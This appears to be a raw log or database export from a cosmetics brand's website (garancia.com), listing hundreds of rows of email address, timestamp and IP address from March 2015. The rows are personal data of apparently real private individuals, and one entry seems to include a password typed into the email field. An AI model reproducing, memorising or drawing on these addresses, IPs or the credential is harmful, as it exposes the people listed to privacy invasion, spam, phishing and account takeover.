+6019;new@garancia.com;2015-03-19 16:15:29;94.14.152.208 +6020;valerielahy@gmail.com;2015-03-19 16:16:18;94.14.152.208 +6021;new@garancia.com;2015-03-19 16:16:22;94.14.152.208 +6022;new@garancia.com;2015-03-19 16:19:14;94.14.152.208 +6023;new@garancia.com;2015-03-19 16:21:01;94.14.152.208 +6024;new@garancia.com;2015-03-19 16:21:18;94.14.152.208 +6025;new@garancia.com;2015-03-19 16:21:49;94.14.152.208 +6026;new@garancia.com;2015-03-19 16:22:37;94.14.152.208 +6027;padovan.patricia@free.fr;2015-03-19 16:51:47;82.226.235.193 +6028;josette.kleine@sfr.fr;2015-03-19 16:58:17;88.142.186.113 +6029;julie.groven@loreal.com;2015-03-19 17:25:55;81.255.154.161 +6030;julie.groven@loreal.com;2015-03-19 17:25:55;81.255.154.161 +6031;julie.groven@loreal.com;2015-03-19 17:25:55;81.255.154.161 +6032;tecnicamoura@gmail.com;2015-03-19 17:42:52;188.80.17.220 +6033;tecnicamoura@gmail.com;2015-03-19 17:59:08;188.80.17.220 +6034;tecnicamoura@gmail.com;2015-03-19 17:59:44;188.80.17.220 +6035;a.zawadzki@oeange.fr;2015-03-19 18:45:19;90.4.149.50 +6036;new@garancia.com;2015-03-19 18:45:25;90.4.149.50 +6037;new@garancia.com;2015-03-19 18:45:30;90.4.149.50 +6038;new@garancia.com;2015-03-19 18:46:10;90.4.149.50 +6039;new@garancia.com;2015-03-19 18:47:40;90.4.149.50 +6040;a.sarazin@laposte.net;2015-03-19 19:09:52;91.68.25.234 +6041;corinedrouet@club-internet.fr;2015-03-19 19:41:26;84.100.228.33 +6042;sylvia_fussler@yahoo.fr;2015-03-19 19:48:11;130.185.185.114 +6043;christineaudouin@gmail.com;2015-03-19 20:32:15;78.237.153.93 +6044;new@garancia.com;2015-03-19 21:27:19;83.152.91.68 +6045;new@garancia.com;2015-03-19 21:27:49;83.152.91.68 +6046;nacimez@hotmail.fr;2015-03-19 21:47:25;88.180.37.131 +6047;new@garancia.com;2015-03-19 21:48:49;176.183.138.217 +6048;new@garancia.com;2015-03-19 21:48:53;176.183.138.217 +6049;patou.93600@gmail.com;2015-03-19 22:17:57;77.196.96.157 +6050;patou.93600@gmail.com;2015-03-19 22:18:10;77.196.96.157 +6051;new@garancia.com;2015-03-19 22:18:31;85.169.77.38 +6052;patou.93600@gmail.com;2015-03-19 22:18:34;77.196.96.157 +6053;new@garancia.com;2015-03-19 22:18:34;85.169.77.38 +6054;new@garancia.com;2015-03-19 22:18:38;85.169.77.38 +6055;new@garancia.com;2015-03-19 22:18:40;85.169.77.38 +6056;patou.93600@gmail.com;2015-03-19 22:18:41;77.196.96.157 +6057;new@garancia.com;2015-03-19 22:18:42;85.169.77.38 +6058;new@garancia.com;2015-03-19 22:18:43;85.169.77.38 +6059;new@garancia.com;2015-03-19 22:18:45;85.169.77.38 +6060;new@garancia.com;2015-03-19 22:21:05;85.169.77.38 +6061;new@garancia.com;2015-03-19 22:21:07;85.169.77.38 +6062;new@garancia.com;2015-03-19 22:21:09;85.169.77.38 +6063;new@garancia.com;2015-03-19 22:21:32;85.169.77.38 +6064;marieguillot87@gmail.com;2015-03-19 22:21:44;85.169.77.38 +6065;alyah31_1@live.fr;2015-03-19 22:21:56;83.193.0.105 +6066;new@garancia.com;2015-03-19 22:21:59;85.169.77.38 +6067;new@garancia.com;2015-03-19 22:22:01;85.169.77.38 +6068;new@garancia.com;2015-03-19 22:22:19;85.169.77.38 +6069;new@garancia.com;2015-03-19 22:25:43;85.169.77.38 +6070;new@garancia.com;2015-03-19 22:29:09;85.169.77.38 +6071;new@garancia.com;2015-03-19 22:29:11;85.169.77.38 +6072;new@garancia.com;2015-03-19 22:29:13;85.169.77.38 +6073;new@garancia.com;2015-03-19 23:29:04;80.215.224.106 +6074;new@garancia.com;2015-03-19 23:29:07;80.215.224.106 +6075;mely59000@gmail.com;2015-03-19 23:29:22;80.215.224.106 +6076;new@garancia.com;2015-03-19 23:29:27;80.215.224.106 +6077;genevet.joelle@aliceadsl.fr;2015-03-20 00:26:45;88.188.37.143 +6078;genevet.joelle@aliceadsl.fr;2015-03-20 00:26:47;88.188.37.143 +6079;iseni_s@hotmail.com;2015-03-20 00:33:00;62.167.146.132 +6080;nat2000x@laposte.net;2015-03-20 00:58:39;77.192.149.162 +6081;brisson.phillipine@outlook.fr;2015-03-20 03:40:43;176.179.120.248 +6082;agneslaurencon@live.fr;2015-03-20 05:44:04;92.139.145.130 +6083;agneslaurencon@live.fr;2015-03-20 05:44:11;92.139.145.130 +6084;agneslaurencon@live.fr;2015-03-20 05:44:24;92.139.145.130 +6085;ama.zon@laposte.net;2015-03-20 08:29:13;92.142.182.41 +6086;entiere@hotmail.fr;2015-03-20 08:45:28;194.206.202.92 +6087;christine.paignon@hotmail.fr;2015-03-20 09:34:24;89.81.20.167 +6088;attilda@gmail.com;2015-03-20 09:55:04;89.158.30.124 +6089;pouef02@gmail.com;2015-03-20 09:59:54;193.251.93.157 +6090;choukye@msn.com;2015-03-20 10:15:18;176.185.19.57 +6091;spiroelle@galva.fr;2015-03-20 10:26:25;109.6.221.122 +6092;virginie.tholliez@club-internet.fr;2015-03-20 10:39:24;84.99.24.235 +6093;virginie.tholliez@club-internet.fr;2015-03-20 10:39:24;84.99.24.235 +6094;bdent7@gmail.com;2015-03-20 11:01:50;195.132.30.69 +6095;catboe2@gmail.com;2015-03-20 11:05:06;91.87.130.53 +6096;alice-ferrez@wanadoo.fr;2015-03-20 11:20:33;90.26.76.119 +6097;ncarette1@gmail.com;2015-03-20 11:41:20;90.96.20.53 +6098;t.m.panyasak@gmail.com;2015-03-20 12:01:37;82.236.159.167 +6099;sochso@voila.fr;2015-03-20 12:21:24;86.202.157.151 +6100;drannbarbier@gmail.com;2015-03-20 12:21:34;88.169.230.225 +6101;anniedg@bell.net;2015-03-20 12:36:04;79.84.18.18 +6102;fourquier.jerome@orange.fr;2015-03-20 12:37:09;90.56.131.20 +6103;val.christophe@bluewin.ch;2015-03-20 12:37:40;85.2.86.94 +6104;chardonisabelle@orange.fr;2015-03-20 12:43:52;217.108.1.245 +6105;chardonisabelle@orange.fr;2015-03-20 12:43:53;217.108.1.245 +6106;chardonisabelle@orange.fr;2015-03-20 12:43:55;217.108.1.245 +6107;chardonisabelle@orange.fr;2015-03-20 12:43:56;217.108.1.245 +6108;chardonisabelle@orange.fr;2015-03-20 12:43:57;217.108.1.245 +6109;chardonisabelle@orange.fr;2015-03-20 12:46:00;217.108.1.245 +6110;chardonisabelle@orange.fr;2015-03-20 12:47:58;217.108.1.245 +6111;chardonisabelle@orange.fr;2015-03-20 12:48:21;217.108.1.245 +6112;chardonisabelle@orange.fr;2015-03-20 12:48:35;217.108.1.245 +6113;chardonisabelle@orange.fr;2015-03-20 12:49:22;217.108.1.245 +6114;chardonisabelle@orange.fr;2015-03-20 12:49:41;217.108.1.245 +6115;jacquelineroos73@hotmail.fr;2015-03-20 12:52:45;145.226.30.82 +6116;veronique.billault@hotmail.fr;2015-03-20 12:58:45;90.45.233.116 +6117;eric.le_tiec@club-internet.fr;2015-03-20 13:13:38;92.133.254.100 +6118;aapubfr@yahoo.fr;2015-03-20 13:21:17;88.121.234.36 +6119;florencelarive@free.fr;2015-03-20 13:24:19;88.185.59.67 +6120;dominicko@wanadoo.fr;2015-03-20 13:56:59;2.5.53.184 +6121;florence.thomas537@orange.fr;2015-03-20 14:12:46;90.16.95.27 +6122;julie.mollard@yahoo.fr;2015-03-20 14:15:48;90.15.237.11 +6123;barbacandie85@orange.fr;2015-03-20 14:19:06;90.49.217.3 +6124;roudaut.gaelle@laposte.net;2015-03-20 14:19:19;92.103.172.166 +6125;martinebrossin@hotmail.fr;2015-03-20 14:19:49;88.173.33.23 +6126;patricealexiaa@aol.com;2015-03-20 14:50:55;93.15.40.248 +6127;zartharn@orange.fr;2015-03-20 14:59:04;90.27.129.215 +6128;d_denissophie@orange.fr;2015-03-20 15:11:30;80.12.35.149 +6129;brigittebessin@orange.fr;2015-03-20 15:19:21;2.8.152.81 +6130;manga176@hotmail.com;2015-03-20 15:20:47;194.2.76.13 +6131;crsitinamonteiro.iara@gmail.com;2015-03-20 15:20:55;62.48.155.5 +6132;brigittebessin@orange.fr;2015-03-20 15:21:07;2.8.152.81 +6133;new@garancia.com;2015-03-20 15:32:48;89.89.96.46 +6134;new@garancia.com;2015-03-20 15:32:52;89.89.96.46 +6135;new@garancia.com;2015-03-20 15:32:56;89.89.96.46 +6136;new@garancia.com;2015-03-20 15:32:58;89.89.96.46 +6137;new@garancia.com;2015-03-20 15:32:59;89.89.96.46 +6138;new@garancia.com;2015-03-20 15:33:01;89.89.96.46 +6139;new@garancia.com;2015-03-20 15:33:03;89.89.96.46 +6140;new@garancia.com;2015-03-20 15:33:05;89.89.96.46 +6141;new@garancia.com;2015-03-20 15:33:10;89.89.96.46 +6142;new@garancia.com;2015-03-20 15:33:21;89.89.96.46 +6143;rogerselicaers@live.be;2015-03-20 15:46:08;37.247.94.250 +6144;bettty@013.net;2015-03-20 15:49:20;89.139.190.9 +6145;annie.desseigne@orange.fr;2015-03-20 16:09:27;90.25.88.63 +6146;annie.desseigne@orange.fr;2015-03-20 16:09:33;90.25.88.63 +6147;audrey-phil.k@hotmail.fr;2015-03-20 16:15:19;80.119.224.242 +6148;audrey-phil.k@hotmail.fr;2015-03-20 16:16:12;80.119.224.242 +6149;malaga24@hotmail.fr;2015-03-20 16:35:00;82.246.144.91 +6150;malaga24@hotmail.fr;2015-03-20 16:36:29;82.246.144.91 +6151;malaga24@hotmail.fr;2015-03-20 16:36:47;82.246.144.91 +6152;michel.dudiplieux@sfr.fr;2015-03-20 16:39:06;78.124.10.40 +6153;emi28mimi@orange.fr;2015-03-20 16:46:06;78.250.50.66 +6154;claude.fraigneau@wanadoo.fr;2015-03-20 16:48:27;82.124.40.3 +6155;lisa.legouard@wanadoo.fr;2015-03-20 16:58:58;83.192.124.201 +6156;christine.zorita@hotmail.fr;2015-03-20 17:11:45;88.163.195.107 +6157;gc.plebani@gmail.com;2015-03-20 17:12:46;89.84.223.64 +6158;marie.scholzen@orange.fr;2015-03-20 17:22:34;92.138.204.32 +6159;thierrydehais@sfr.fr;2015-03-20 17:46:54;79.85.155.60 +6160;yagobongo@gmail.com;2015-03-20 17:51:32;88.176.189.20 +6161;p.cart-lamy@orange.fr;2015-03-20 18:10:14;90.33.103.54 +6162;valeriemareville@voila.fr;2015-03-20 19:03:06;88.160.55.127 +6163;valeriemareville@voila.fr;2015-03-20 19:03:10;88.160.55.127 +6164;valeriemareville@voila.fr;2015-03-20 19:03:12;88.160.55.127 +6165;wyawen520@qq.com;2015-03-20 19:07:22;73.44.75.22 +6166;jeanlucpoli@wanadoo.fr;2015-03-20 19:09:02;86.210.35.245 +6167;jeanlucpoli@wanadoo.fr;2015-03-20 19:09:16;86.210.35.245 +6168;jeanlucpoli@wanadoo.fr;2015-03-20 19:09:18;86.210.35.245 +6169;jeanlucpoli@wanadoo.fr;2015-03-20 19:09:23;86.210.35.245 +6170;jeanlucpoli@wanadoo.fr;2015-03-20 19:09:36;86.210.35.245 +6171;jeanlucpoli@wanadoo.fr;2015-03-20 19:09:42;86.210.35.245 +6172;jeanlucpoli@wanadoo.fr;2015-03-20 19:10:19;86.210.35.245 +6173;jeanlucpoli@wanadoo.fr;2015-03-20 19:10:28;86.210.35.245 +6174;berenice.lemestre@live.fr;2015-03-20 19:15:00;80.215.138.34 +6175;laeticia.falais@laposte.net;2015-03-20 19:19:47;78.213.215.45 +6176;gepamb@orange.fr;2015-03-20 19:41:02;92.129.63.254 +6177;new@garancia.com;2015-03-20 19:41:31;80.98.214.211 +6178;new@garancia.com;2015-03-20 19:41:43;80.98.214.211 +6179;new@garancia.com;2015-03-20 19:41:45;80.98.214.211 +6180;new@garancia.com;2015-03-20 19:41:47;80.98.214.211 +6181;wanziwei14@gmail.com;2015-03-20 19:42:09;80.98.214.211 +6182;new@garancia.com;2015-03-20 19:42:30;80.98.214.211 +6183;new@garancia.com;2015-03-20 19:42:55;80.98.214.211 +6184;new@garancia.com;2015-03-20 19:45:32;80.98.214.211 +6185;new@garancia.com;2015-03-20 19:45:34;80.98.214.211 +6186;franck.malengreau@wanadoo.fr;2015-03-20 20:29:47;2.6.99.196 +6187;new@garancia.com;2015-03-20 20:34:18;89.94.17.122 +6188;new@garancia.com;2015-03-20 20:34:25;89.94.17.122 +6189;mooky06@yahoo.fr;2015-03-20 20:35:16;77.128.163.165 +6190;new@garancia.com;2015-03-20 20:43:07;89.94.17.122 +6191;new@garancia.com;2015-03-20 20:45:16;109.219.56.222 +6192;new@garancia.com;2015-03-20 20:45:20;109.219.56.222 +6193;fsansonny@wanadoo.fr;2015-03-20 20:47:24;109.219.56.222 +6194;fsansonny@wanadoo.fr;2015-03-20 20:47:33;109.219.56.222 +6195;new@garancia.com;2015-03-20 20:47:48;109.219.56.222 +6196;virginiepruvot@hotmail.com;2015-03-20 20:58:34;92.161.27.142 +6197;virginiepruvot@hotmail.com;2015-03-20 20:59:43;92.161.27.142 +6198;marie.lebloas@gmail.com;2015-03-20 21:39:39;86.192.254.146 +6199;cloe382@hotmail.fr;2015-03-20 22:21:43;88.120.45.53 +6200;cloe382@hotmail.fr;2015-03-20 22:22:31;88.120.45.53 +6201;jac-brunet-remy@orange.fr;2015-03-20 22:57:46;83.204.53.63 +6202;candicesp@hotmail.fr;2015-03-20 22:59:54;83.202.193.124 +6203;new@garancia.com;2015-03-21 00:04:23;82.244.236.113 +6204;new@garancia.com;2015-03-21 00:05:11;82.244.236.113 +6205;stive.douchet@gmail.com;2015-03-21 00:05:17;82.244.236.113 +6206;new@garancia.com;2015-03-21 00:05:24;82.244.236.113 +6207;murielle.spiewak@gmail.com;2015-03-21 09:42:52;88.122.153.134 +6208;isa.celou@orange.fr;2015-03-21 09:54:35;90.34.22.72 +6209;florafrancois@free.fr;2015-03-21 09:56:04;194.199.224.90 +6210;huin.valerie@wanadoo.fr;2015-03-21 10:11:22;86.197.185.60 +6211;lutun.catherine@orange.fr;2015-03-21 10:25:40;90.61.169.74 +6212;lutun.catherine@orange.fr;2015-03-21 10:25:44;90.61.169.74 +6213;lutun.catherine@orange.fr;2015-03-21 10:25:50;90.61.169.74 +6214;lutun.catherine@orange.fr;2015-03-21 10:25:53;90.61.169.74 +6215;comte.beauvoir@orange.fr;2015-03-21 10:32:19;83.198.63.178 +6216;cecilemartet@wanadoo.fr;2015-03-21 10:38:53;90.44.240.65 +6217;eliane.benarrosh@club-internet.fr;2015-03-21 10:57:39;77.202.107.215 +6218;jannachiocca@hotmail.fr;2015-03-21 11:09:32;86.211.123.196 +6219;lesagejo.nat@wanadoo.fr;2015-03-21 11:16:58;90.17.86.24 +6220;christophe.yvart@orange.fr;2015-03-21 11:18:43;90.1.108.139 +6221;schmitt.caroline57@voila.fr;2015-03-21 11:22:24;78.235.123.127 +6222;new@garancia.com;2015-03-21 11:42:43;80.12.100.151 +6223;new@garancia.com;2015-03-21 11:42:48;80.12.100.151 +6224;new@garancia.com;2015-03-21 11:42:54;80.12.100.151 +6225;cathy.chambonnet@libertysurf.fr;2015-03-21 12:16:37;82.236.99.96 +6226;cathy.chambonnet@libertysurf.fr;2015-03-21 12:16:51;82.236.99.96 +6227;cathy.chambonnet@libertysurf.fr;2015-03-21 12:17:10;82.236.99.96 +6228;croquemiel@gmail.com;2015-03-21 12:17:24;82.236.99.96 +6229;laurence.zol@hotmail.fr;2015-03-21 12:31:03;192.44.63.165 +6230;carpediem101762@gmail.com;2015-03-21 12:33:55;90.42.115.120 +6231;new@garancia.com;2015-03-21 12:57:01;85.69.96.158 +6232;new@garancia.com;2015-03-21 12:57:06;85.69.96.158 +6233;new@garancia.com;2015-03-21 12:57:12;85.69.96.158 +6234;new@garancia.com;2015-03-21 12:58:14;85.69.96.158 +6235;soler.martine@numericable.fr;2015-03-21 12:58:24;85.69.96.158 +6236;Soler.martine@numericable.fr;2015-03-21 13:01:13;85.69.96.158 +6237;imyimane29@gmail.com;2015-03-21 13:11:08;41.107.145.76 +6238;hangeli@free.fr;2015-03-21 13:16:03;78.192.201.83 +6239;hangeli@free.fr;2015-03-21 13:16:13;78.192.201.83 +6240;hangeli@free.fr;2015-03-21 13:16:26;78.192.201.83 +6241;new@garancia.com;2015-03-21 13:34:22;80.215.134.243 +6242;new@garancia.com;2015-03-21 13:34:25;80.215.134.243 +6243;new@garancia.com;2015-03-21 13:35:33;80.215.134.243 +6244;valentine.cordonnier@gmail.com;2015-03-21 13:40:57;77.151.88.145 +6245;nathalie.lachenait@aliceadsl.fr;2015-03-21 13:46:57;83.155.224.76 +6246;nathalie.lachenait@aliceadsl.fr;2015-03-21 13:48:10;83.155.224.76 +6247;pascale.senaux123@orange.fr;2015-03-21 14:00:59;89.89.133.87 +6248;maud.desmots@hotmail.fr;2015-03-21 14:01:33;90.25.83.229 +6249;nineofmars@gmail.com;2015-03-21 14:09:41;78.229.206.55 +6250;elodie_campos@hotmail.fr;2015-03-21 14:30:24;212.195.197.197 +6251;emilaye1fr@yahoo.fr;2015-03-21 15:06:29;78.241.41.83 +6252;pascale.senaux123@orange.fr;2015-03-21 15:07:48;89.89.133.87 +6253;alexandre.cr777@yahoo.fr;2015-03-21 15:19:03;82.66.104.128 +6254;alicebelot@gmail.com;2015-03-21 15:33:08;93.26.10.170 +6255;sylvielamu@gmail.fr;2015-03-21 15:42:22;87.89.94.172 +6256;cecilemartet@wanadoo.fr;2015-03-21 16:04:26;90.44.240.65 +6257;chubiwen@live.cn;2015-03-21 16:04:54;88.166.187.199 +6258;corynnemorel@gmail.com;2015-03-21 16:41:31;81.251.230.168 +6259;damien.pors@orange.fr;2015-03-21 16:42:16;90.58.219.213 +6260;lecoeur.melanie@neuf.fr;2015-03-21 17:09:48;2.3.2.9 +6261;naly1966@hotmail.fr;2015-03-21 17:10:10;109.220.61.79 +6262;dandre@orange.fr;2015-03-21 17:31:31;2.8.189.172 +6263;d.courtalon@orange.fr;2015-03-21 17:42:34;86.208.111.175 +6264;isabelle.lombardoarmilhon@yahoo.fr;2015-03-21 18:14:46;78.231.217.88 +6265;pascale.monnerot@wanadoo.fr;2015-03-21 19:08:26;90.28.1.4 +6266;flomaitre09@gmail.com;2015-03-21 19:10:05;78.231.82.180 +6267;pascale.monnerot@wanadoo.fr;2015-03-21 19:23:55;90.28.1.4 +6268;pascale.monnerot@wanadoo.fr;2015-03-21 19:24:16;90.28.1.4 +6269;pascale.monnerot@wanadoo.fr;2015-03-21 19:25:08;90.28.1.4 +6270;pascale.monnerot@wanadoo.fr;2015-03-21 19:25:18;90.28.1.4 +6271;lys.chris@orange.fr;2015-03-21 19:46:22;90.4.7.184 +6272;emeline.harion@outlook.fr;2015-03-21 19:49:16;109.211.118.38 +6273;ml.starosciak@free.fr;2015-03-21 20:57:15;82.232.239.136 +6274;mamannadia3@gmail.com;2015-03-21 21:24:39;89.156.83.169 +6275;leonberg07@gmail.com;2015-03-21 21:29:30;89.94.136.94 +6276;flomaitre09@gmail.com;2015-03-21 22:50:27;78.231.82.180 +6277;a.cauchi@libertysurf.fr;2015-03-21 23:31:30;88.175.122.172 +6278;emmavolpi2201@gmail.com;2015-03-22 01:00:12;31.36.170.185 +6279;flomaitre09@gmail.com;2015-03-22 08:01:50;78.231.82.180 +6280;flomaitre09@gmail.com;2015-03-22 08:02:18;78.231.82.180 +6281;flomaitre09@gmail.com;2015-03-22 08:02:53;78.231.82.180 +6282;hanse.morgane@gmail.com;2015-03-22 08:20:45;84.100.25.142 +6283;hanse.morgane@gmail.com;2015-03-22 08:20:48;84.100.25.142 +6284;hanse.morgane@gmail.com;2015-03-22 08:20:57;84.100.25.142 +6285;hanse.morgane@gmail.com;2015-03-22 08:21:05;84.100.25.142 +6286;famket@bluewin.ch;2015-03-22 08:24:16;85.1.238.142 +6287;jgmoisan@wanadoo.fr;2015-03-22 08:30:33;193.248.164.21 +6288;assiaah@hotmail.fr;2015-03-22 08:41:55;82.247.70.112 +6289;marie.carli@gmail.com;2015-03-22 09:56:49;84.100.134.39 +6290;nathmondoloni@voila.fr;2015-03-22 09:58:33;90.37.91.109 +6291;dorothee.atzert@orange.fr;2015-03-22 10:03:14;90.3.53.50 +6292;kernic.elec@wanadoo.fr;2015-03-22 10:06:38;2.13.209.82 +6293;bertrand_jaigu@yahoo.fr;2015-03-22 10:46:49;90.19.211.169 +6294;isabelle.echivard@gmail.com;2015-03-22 10:48:14;89.88.208.87 +6295;isabelle.echivard@gmail.com;2015-03-22 10:48:14;89.88.208.87 +6296;nic.dumont@wanadoo.fr;2015-03-22 10:57:39;90.14.200.161 +6297;nic.dumont@wanadoo.fr;2015-03-22 10:57:41;90.14.200.161 +6298;new@garancia.com;2015-03-22 10:58:05;86.71.143.92 +6299;new@garancia.com;2015-03-22 10:58:06;86.71.143.92 +6300;new@garancia.com;2015-03-22 10:58:15;86.71.143.92 +6301;new@garancia.com;2015-03-22 10:58:18;86.71.143.92 +6302;new@garancia.com;2015-03-22 10:58:33;86.71.143.92 +6303;new@garancia.com;2015-03-22 10:58:33;86.71.143.92 +6304;didier.ferrero@wanadoo.fr;2015-03-22 10:58:53;90.55.58.184 +6305;didier.ferrero@wanadoo.fr;2015-03-22 10:58:53;90.55.58.184 +6306;mathilde.a.sautereau@gmail.com;2015-03-22 11:14:40;109.10.200.193 +6307;new@garancia.com;2015-03-22 11:22:14;81.51.240.139 +6308;new@garancia.com;2015-03-22 11:22:20;81.51.240.139 +6309;new@garancia.com;2015-03-22 11:22:44;81.51.240.139 +6310;new@garancia.com;2015-03-22 11:22:48;81.51.240.139 +6311;new@garancia.com;2015-03-22 11:23:10;81.51.240.139 +6312;new@garancia.com;2015-03-22 11:24:42;81.51.240.139 +6313;maeva.figuiere@gmail.com;2015-03-22 11:31:20;109.30.163.10 +6314;larcher.c@orange.fr;2015-03-22 11:39:26;90.34.84.167 +6315;larcher.c@orange.fr;2015-03-22 11:39:41;90.34.84.167 +6316;larcher.c@orange.fr;2015-03-22 11:39:56;90.34.84.167 +6317;new@garancia.com;2015-03-22 12:05:05;81.51.240.139 +6318;fvaibn.lieab@laposte.net;2015-03-22 12:10:36;89.224.23.253 +6319;emyollier14@gmail.com;2015-03-22 12:21:03;84.102.8.167 +6320;celine.loubeyre@hotmail.fr;2015-03-22 12:33:14;176.180.177.187 +6321;signor_vr@yahoo.fr;2015-03-22 13:34:40;109.23.24.128 +6322;signor_vr@yahoo.fr;2015-03-22 13:34:44;109.23.24.128 +6323;clair06l@live.fr;2015-03-22 14:01:28;78.233.133.227 +6324;clair06@live.fr;2015-03-22 14:03:23;78.233.133.227 +6325;clair06@live.fr;2015-03-22 14:04:36;78.233.133.227 +6326;new@garancia.com;2015-03-22 14:08:55;89.93.10.42 +6327;new@garancia.com;2015-03-22 14:09:02;89.93.10.42 +6328;new@garancia.com;2015-03-22 14:09:04;89.93.10.42 +6329;clair06@live.fr;2015-03-22 14:13:44;78.233.133.227 +6330;clair06@live.fr;2015-03-22 14:13:47;78.233.133.227 +6331;clair06@live.fr;2015-03-22 14:15:04;78.233.133.227 +6332;sophie_michel1@bbox.fr;2015-03-22 14:18:09;176.190.131.39 +6333;virginieboutez@gmail.com;2015-03-22 14:20:47;90.47.254.196 +6334;clair06@live.fr;2015-03-22 14:27:22;78.233.133.227 +6335;n.resplendino@bluewin.ch;2015-03-22 14:27:58;109.203.56.27 +6336;clair06@live.fr;2015-03-22 14:28:35;78.233.133.227 +6337;clair06@live.fr;2015-03-22 14:28:48;78.233.133.227 +6338;diame@hotmail.com;2015-03-22 14:40:10;90.57.79.99 +6339;lea.troccon@gmail.com;2015-03-22 15:31:19;81.220.43.111 +6340;pitou.mumu@hotmail.fr;2015-03-22 16:10:29;92.133.39.50 +6341;am.bisca@live.fr;2015-03-22 16:15:15;90.11.3.105 +6342;lebrun.nath@free.fr;2015-03-22 16:56:33;88.126.238.2 +6343;perasybil@gmail.com;2015-03-22 16:56:35;86.202.242.206 +6344;lebrun.nath@free.fr;2015-03-22 16:56:58;88.126.238.2 +6345;sandrine.giraudet@laposte.net;2015-03-22 17:13:02;78.238.175.74 +6346;sandrine.giraudet@laposte.net;2015-03-22 17:13:07;78.238.175.74 +6347;sylviepicard11@orange.fr;2015-03-22 17:13:39;2.3.45.221 +6348;dameloo@hotmail.fr;2015-03-22 17:13:48;88.141.93.105 +6349;christianegielen@gmail.com;2015-03-22 17:34:07;85.201.101.17 +6350;charlotteplume@hotmail.fr;2015-03-22 17:37:37;78.239.5.19 +6351;christianegielen@gmail.com;2015-03-22 17:40:01;85.201.101.17 +6352;pharmacie.roches@wanadoo.fr;2015-03-22 17:50:40;92.148.208.31 +6353;pharmacie.roches@wanadoo.fr;2015-03-22 17:50:56;92.148.208.31 +6354;pharmacie.roches@wanadoo.fr;2015-03-22 17:51:32;92.148.208.31 +6355;pharmacie.roches@wanadoo.fr;2015-03-22 17:51:43;92.148.208.31 +6356;pharmacie.roches@wanadoo.fr;2015-03-22 17:52:08;92.148.208.31 +6357;pharmacie.roches@wanadoo.fr;2015-03-22 17:52:56;92.148.208.31 +6358;harmonies@hotmail.fr;2015-03-22 18:02:43;92.128.56.137 +6359;nathalie.abh@outlook.com;2015-03-22 18:26:15;31.36.113.196 +6360;aline.meuwly@bluewin.ch;2015-03-22 19:08:20;85.3.81.80 +6361;aline.meuwly@bluewin.ch;2015-03-22 19:09:03;85.3.81.80 +6362;aline.meuwly@bluewin.ch;2015-03-22 19:09:05;85.3.81.80 +6363;aline.meuwly@bluewin.ch;2015-03-22 19:09:06;85.3.81.80 +6364;aline.meuwly@bluewin.ch;2015-03-22 19:09:36;85.3.81.80 +6365;aline.meuwly@bluewin.ch;2015-03-22 19:09:37;85.3.81.80 +6366;v56@orange.fr;2015-03-22 19:41:25;83.114.78.220 +6367;v56@orange.fr;2015-03-22 19:41:30;83.114.78.220 +6368;elodie_campos@hotmail.fr;2015-03-22 19:51:08;212.195.197.197 +6369;virginiepruvot@hotmail.comHabitude4;2015-03-22 19:55:08;92.161.146.192 +6370;virginiepruvot@hotmail.com;2015-03-22 19:55:23;92.161.146.192 +6371;virginiepruvot@hotmail.com;2015-03-22 19:55:30;92.161.146.192 +6372;ida59@outlook.fr;2015-03-22 20:02:44;176.189.137.81 +6373;nathalie.regueiro@sfr.fr;2015-03-22 20:13:40;77.128.249.60 +6374;nathalie.regueiro@sfr.fr;2015-03-22 20:13:40;77.128.249.60 +6375;philippe.capponi123@orange.fr;2015-03-22 20:25:47;2.1.142.174 +6376;philippe.capponi123@orange.fr;2015-03-22 20:25:51;2.1.142.174 +6377;philippe.capponi123@orange.fr;2015-03-22 20:25:51;2.1.142.174 +6378;jade.200@hotmail.fr;2015-03-22 20:27:01;83.115.54.81 +6379;estelle.lunel@gmail.com;2015-03-22 20:29:18;88.122.133.27 +6380;new@garancia.com;2015-03-22 21:01:22;87.211.38.224 +6381;new@garancia.com;2015-03-22 21:01:25;87.211.38.224 +6382;new@garancia.com;2015-03-22 21:02:30;87.211.38.224 +6383;sophieparis.so@free.fr;2015-03-22 21:06:14;88.125.5.179 +6384;francis.paul5@wanadoo.fr;2015-03-22 21:06:43;90.6.214.115 +6385;perle.amelie@live.fr;2015-03-22 21:20:45;31.32.182.174 +6386;new@garancia.com;2015-03-22 21:25:55;87.211.38.224 +6387;c.belle13@laposte.net;2015-03-22 21:28:24;88.162.240.211 +6388;c.belle13@laposte.net;2015-03-22 21:28:33;88.162.240.211 +6389;new@garancia.com;2015-03-22 21:30:15;78.216.212.185 +6390;new@garancia.com;2015-03-22 21:30:21;78.216.212.185 +6391;new@garancia.com;2015-03-22 21:30:37;78.216.212.185 +6392;new@garancia.com;2015-03-22 21:30:39;78.216.212.185 +6393;new@garancia.com;2015-03-22 21:30:40;78.216.212.185 +6394;c.belle13@laposte.net;2015-03-22 21:31:49;88.162.240.211 +6395;c.belle13@laposte.net;2015-03-22 21:34:09;88.162.240.211 +6396;herbreteau.laurent@wanadoo.fr;2015-03-22 21:34:23;109.223.238.173 +6397;c.belle13@laposte.net;2015-03-22 21:41:40;88.162.240.211 +6398;c.belle13@laposte.net;2015-03-22 21:42:43;88.162.240.211 +6399;c.belle13@laposte.net;2015-03-22 21:43:28;88.162.240.211 +6400;c.belle13@laposte.net;2015-03-22 21:45:39;88.162.240.211 +6401;jordana.picard@gmail.com;2015-03-22 22:05:04;88.181.108.106 +6402;c.belle13@laposte.net;2015-03-22 22:17:42;88.162.240.211 +6403;monique.helm@dartybox.com;2015-03-22 22:22:45;83.114.174.72 +6404;cbousquet586@gmail.com;2015-03-22 22:26:55;80.236.34.156 +6405;verkutisi@gmail.com;2015-03-22 22:37:54;89.84.31.66 +6406;o.scheubel@orange.fr;2015-03-22 23:13:12;83.196.111.118 +6407;thesharkriver@gmail.com;2015-03-22 23:37:54;109.29.109.184 +6408;andgermain@wanadoo.fr;2015-03-23 07:04:10;92.147.104.231 +6409;andgermain@wanadoo.fr;2015-03-23 07:04:14;92.147.104.231 +6410;andgermain@wanadoo.fr;2015-03-23 07:08:05;92.147.104.231 +6411;moniqueega@hotmail.fr;2015-03-23 09:18:38;86.220.128.18 +6412;agathe.maret@laposte.net;2015-03-23 09:36:04;82.121.41.3 +6413;pharmaciedesaillans@offisecure.com;2015-03-23 09:40:31;194.8.148.20 +6414;sophie.pluquin@leroymerlin.fr;2015-03-23 10:27:43;86.65.8.228 +6415;jo.chapelle23@gmail.com;2015-03-23 10:38:06;92.90.17.132 +6416;c-allibert@garancia-beauty.com;2015-03-23 10:48:41;81.57.119.171 +6417;jessica.blot@outlook.fr;2015-03-23 11:04:06;213.44.49.148 